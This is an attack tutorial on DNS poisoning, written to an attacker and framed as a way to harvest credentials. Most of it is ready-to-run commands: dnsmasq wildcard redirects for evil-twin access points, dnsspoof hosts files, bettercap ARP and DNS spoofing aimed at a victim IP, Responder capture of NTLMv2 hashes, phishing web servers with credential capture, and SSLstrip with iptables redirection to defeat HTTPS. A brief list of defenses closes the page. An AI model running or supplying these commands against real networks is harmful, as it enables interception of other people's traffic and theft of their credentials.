DNS Poisoning / DNS Spoofing

DNS poisoning (also called DNS spoofing) is an attack where you replace legitimate DNS responses with malicious ones — making the victim's device resolve a domain to your IP address instead of the real one. Combined with an evil twin or LAN-level MitM position, it's a powerful credential harvesting technique.

How DNS Works (Brief)

Client → "What's the IP for google.com?" → DNS Server
DNS Server → "It's 142.250.80.46" → Client
Client connects to 142.250.80.46

Poison this: make DNS Server (or intercept the response) say "It's YOUR_IP" and the client connects to you instead.

DNS Poisoning in WiFi Context

When you control the access point (evil twin, KARMA, or you've cracked the WPA key and have a LAN MitM position), you also control DNS because:

1. You run the DHCP server → you set yourself as DNS server
2. All DNS queries go through you
3. You return whatever answers you want

# Your evil twin dnsmasq already does this:
# address=/#/192.168.87.1    # Redirect ALL domains to your IP
# This is wildcard DNS — everything resolves to you

Tools for DNS Poisoning

dnsmasq (Captive Portal / Evil Twin)

# Redirect all DNS to your IP (captive portal style)
cat > /tmp/dnsmasq.conf << 'EOF'
interface=wlan0
dhcp-range=10.0.0.10,10.0.0.100,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1

# Wildcard: everything goes to 10.0.0.1
address=/#/10.0.0.1

# Or specific domain
address=/facebook.com/10.0.0.1
address=/google.com/10.0.0.1
EOF

dnsmasq -C /tmp/dnsmasq.conf

dnsspoof (LAN Attack)

For when you're already on the same network as the victim:

# Create hosts file for spoofing
cat > /tmp/dnsspoof_hosts << 'EOF'
10.0.0.1    www.google.com
10.0.0.1    facebook.com
10.0.0.1    *.google.com
EOF

# Run dnsspoof
sudo dnsspoof -i eth0 -f /tmp/dnsspoof_hosts

Bettercap (ARP Spoof + DNS Spoof)

Most elegant solution for LAN-level MitM + DNS:

# Install
sudo apt install bettercap

# Interactive mode
sudo bettercap -iface eth0

# In bettercap:
net.probe on
net.recon on
set arp.spoof.targets 192.168.1.5   # victim
arp.spoof on                         # ARP poison victim
set dns.spoof.domains facebook.com,google.com
set dns.spoof.address 192.168.1.100  # your IP
dns.spoof on

Responder (Windows/AD Networks)

Responder poisons LLMNR, NBT-NS, and MDNS — Windows name resolution protocols. When a machine can't find a name via DNS, it broadcasts — Responder answers.

sudo responder -I eth0 -dwFP
# Automatically captures NTLMv2 hashes from machines on the network
# Works even without full DNS poisoning

Setting Up a Fake Server

After DNS poisoning, you need a server to serve the fake content:

# Simple web server serving phishing page
sudo python3 -m http.server 80 --directory /var/www/html/

# Apache with PHP credential capture
sudo apt install apache2 php
sudo cp phishing_page.html /var/www/html/index.html
sudo cp capture.php /var/www/html/
sudo systemctl start apache2

SSL/TLS Problem

HTTPS prevents most DNS poisoning attacks — the browser checks the certificate. Even if you redirect the IP, your certificate won't match.

Bypass options:

• SSLstrip — downgrade HTTPS to HTTP
• Use Let's Encrypt cert for a similar domain (typosquatting)
• Hope user ignores the cert warning
• Tools like BeEF for browser exploitation once on HTTP

# SSLstrip (older technique, less effective now with HSTS)
sudo apt install sslstrip
sudo sslstrip -l 10000
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

Detection and Defense

• DNSSEC — cryptographically signs DNS records (prevents spoofing)
• DoH (DNS over HTTPS) — DNS encrypted in HTTPS, hard to intercept
• DoT (DNS over TLS) — similar to DoH
• Certificate pinning — app only trusts specific cert for a domain
• HSTS preloading — browser always uses HTTPS for a domain

See Also

• ../evil-twin/karma/honeypot - Where DNS poisoning is deployed
• ../evil-twin/karma/mana - MANA for WPA Enterprise capture
• ../ddos-attack/packet-injection/scapy - Craft DNS packets manually